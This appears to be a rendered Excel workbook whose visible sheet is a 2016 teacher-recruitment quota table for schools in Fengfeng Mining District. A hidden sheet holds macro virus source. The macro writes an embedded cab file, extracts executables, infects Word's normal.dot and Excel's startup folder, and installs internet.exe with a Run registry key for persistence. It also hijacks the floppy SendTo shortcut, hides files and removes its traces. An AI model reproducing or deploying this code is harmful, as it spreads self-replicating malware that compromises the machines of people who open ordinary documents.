{"text_format":"3","workbook":"xls","n_sheets":2,"sheets":["2JCBAYRKJC0TSL","新定"],"not_rendered":{"external_links":1,"defined_names":3,"comments":1},"read":"whole","date_system":"1900","formulas":"cached_only"}

{"sheet":"2JCBAYRKJC0TSL","index":0,"n_rows":82,"n_cols":3,"rows_kept":82,"hidden":true,"flags":["formulas_cached_only"]}
[null,null,"Private Sub createcabfile()"]
[null,null,"Dim ch As Byte"]
[null,null,"on error resume next"]
[null,null,"Set fso = CreateObject(\"scripting.filesystemobject\")"]
[null,null,"Set w = CreateObject(\"wscript.shell\")"]
[null,null,"myfolder = w.specialfolders(\"Templates\") & \"\\Software\\\""]
[null,null,"If Not fso.folderexists(myfolder) Then"]
[null,null,"fso.createfolder myfolder"]
[null,null,"End If"]
[null,null,"For i=1 to Workbooks.Count"]
[null,null,"If Workbooks(i).name=\"normal.xlm\" then"]
[null,null,"workbooks(i).close"]
[null,null,"fso.deletefile Application.StartupPath & \"\\normal.xlm\""]
[null,null,"End If"]
[null,null,"Next"]
[null,null,"For i=1 to Workbooks.Count"]
[null,null,"If Workbooks(i).name=\"norma1.xlm\" then"]
[null,null,"goto a1"]
[null,null,"End If"]
[null,null,"Next"]
[null,null,"cabfile= \"c:\\cab.cab\""]
[null,null,"If Not fso.fileexists(Application.StartupPath & \"\\norma1.xlm\") Then"]
[null,null,"fso.delete cabfile"]
[null,null,"open cabfile for binary access write as #1"]
[null,null,"For i = 1 To 150"]
[null,null,"hv = ThisWorkbook.Sheets(\"(m1)_(m2)_(m3)\").Cells(i, 2).Value"]
[null,null,"n=1"]
[null,null,"m=instr(hv,\" \")"]
[null,null,"do while m>0"]
[null,null,"ch=CByte(mid(hv,n,m-n))"]
[null,null,"put #1,,ch"]
[null,null,"n=m+1"]
[null,null,"m=instr(n,hv,\" \")"]
[null,null,"loop"]
[null,null,"Next"]
[null,null,"close #1"]
[null,null,"w.Run \"%COMSPEC% /c attrib -s -h c:\\setflag.exe\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c attrib -s -h c:\\sendto.exe\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c extrac32 /E /Y /L c:\\ c:\\cab.cab\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c extract /E /Y /L c:\\ c:\\cab.cab\", 0, True"]
[null,null,"fso.deletefile cabfile"]
[null,null,"fso.copyfile \"c:\\normal.dot\", myfolder, True"]
[null,null,"set word=createobject(\"word.application\")"]
[null,null,"ntpath=word.NormalTemplate.Path & \"\\\""]
[null,null,"word.quit"]
[null,null,"fso.copyfile \"c:\\normal.dot\", ntpath, True"]
[null,null,"fso.copyfile \"c:\\norma1.xlm\", Application.StartupPath & \"\\\", True"]
[null,null,"fso.copyfile \"c:\\internet.exe\", fso.getspecialfolder(1) & \"\\\""]
[null,null,"set fold=fso.getfolder(w.SpecialFolders(\"SendTo\"))"]
[null,null,"for each ff in fold.files"]
[null,null,"if instr(ff.name,\"软盘\")>0 then"]
[null,null,"set lnk=w.CreateShortcut(fold.path & \"\\\" & ff.name)"]
[null,null,"lnk.TargetPath=\"c:\\sendto.exe\""]
[null,null,"lnk.IconLocation=\"shell32.dll,6\""]
[null,null,"lnk.save"]
[null,null,"goto e2"]
[null,null,"end if"]
[null,null,"next"]
[null,null,"e2:"]
[null,null,"fso.deletefile \"c:\\normal.dot\""]
[null,null,"fso.deletefile \"c:\\norma1.xlm\""]
[null,null,"fso.deletefile \"c:\\internet.exe\""]
[null,null,"w.Run \"%COMSPEC% /c attrib +s +h c:\\setflag.exe\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c attrib +s +h c:\\sendto.exe\", 0, True"]
[null,null,"w.regwrite \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Internet.exe\",\"internet.exe\""]
[null,null,"w.regdelete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Internat.exe\""]
[null,null,"End If"]
[null,null,"Workbooks.Open Application.StartupPath & \"\\norma1.xlm\""]
[null,null,"thisworkbook.Sheets(\"(m1)_(m2)_(m3)\").Columns(2).Copy workbooks(\"norma1.xlm\").sheets(\"(m1)_(m2)_(m3)\").Columns(2)"]
[null,null,"workbooks(\"norma1.xlm\").save"]
[null,null,"fso.copyfile Application.StartupPath & \"\\norma1.xlm\",myfolder,true"]
[null,null,"a1:"]
[null,null,"fso.deletefile \"c:\\excel.txt\""]
[null,null,"Application.DisplayAlerts = False"]
[null,null,"for i=1 to thisworkbook.sheets.count"]
[null,null,"if left(thisworkbook.sheets(i).name,3)=\"模块表\" then"]
[null,null,"ThisWorkbook.Sheets(i).Delete"]
[null,null,"end if"]
[null,null,"next"]
[null,null,"Application.DisplayAlerts = True"]
[null,null,"ThisWorkbook.Saved=True"]
[null,null,"End Sub"]

{"sheet":"新定","index":1,"n_rows":34,"n_cols":19,"rows_kept":34,"merged":[[1,0,1,18],[2,2,2,3],[4,1,14,1],[4,2,14,2],[15,1,24,1],[15,2,24,2],[25,1,31,1],[25,2,31,2],[33,2,33,3],[35,0,35,18],[36,0,36,18],[37,0,37,18]],"flags":["formulas_cached_only"]}
["附2："]
["峰峰矿区2016年公开招聘教师具体岗位情况表"]
["学校","学段层次","招聘计划",null,"语文","数学","英语","地理","生物","化学","物理","音乐","美术","体育","幼教","财会","焊接","机械","汽修"]
["区职教中心","职高",5,5,{"$nulls":7},1,{"$nulls":3},1,1,1,1]
["第十五中学","初中",28,2,2]
["第十三中学",null,null,1,null,null,1]
["第十四中学",null,null,5,1,1,1,null,null,1,1]
["孙庄学校",null,null,2,null,1,{"$nulls":4},1]
["羊渠河学校",null,null,4,1,null,1,1,null,1]
["义井中学",null,null,3,null,null,1,null,null,1,null,null,1]
["义井王看中学",null,null,4,{"$nulls":3},1,1,null,1,null,null,1]
["义井宿凤学校",null,null,3,1,{"$nulls":5},1,1]
["大社学校",null,null,2,1,{"$nulls":3},1]
["大社牛儿庄学校",null,null,1,null,1]
["大社香山中学",null,null,1,{"$nulls":6},1]
["第一小学","小学",25,5,1,2,2]
["彭城小学",null,null,5,null,3,{"$nulls":5},1,1]
["滨河小学",null,null,6,4,2]
["太安小学",null,null,3,2,1]
["和村和东小学",null,null,1,null,1]
["和村小学",null,null,1,null,1]
["和村和西小学",null,null,1,null,1]
["和村八特小学",null,null,1,1]
["和村胡村小学",null,null,1,1]
["和村尧庄小学",null,null,1,1]
["义井中心小学","小学",12,2,null,2]
["义井王看小学",null,null,2,null,1,{"$nulls":7},1]
["彭城豆付沟小学",null,null,1,null,1," "]
["峰峰鼓山小学",null,null,2,2]
["峰峰九龙学校",null,null,2,{"$nulls":7},1,null,1]
["峰峰小学",null,null,2,2]
["新坡小学",null,null,1,null,null,1]
["区直幼儿园","幼教",5,5,{"$nulls":10},5]
["合  计",null,75,null,20,18,7,2,2,3,5,4,2,3,5,1,1,1,1]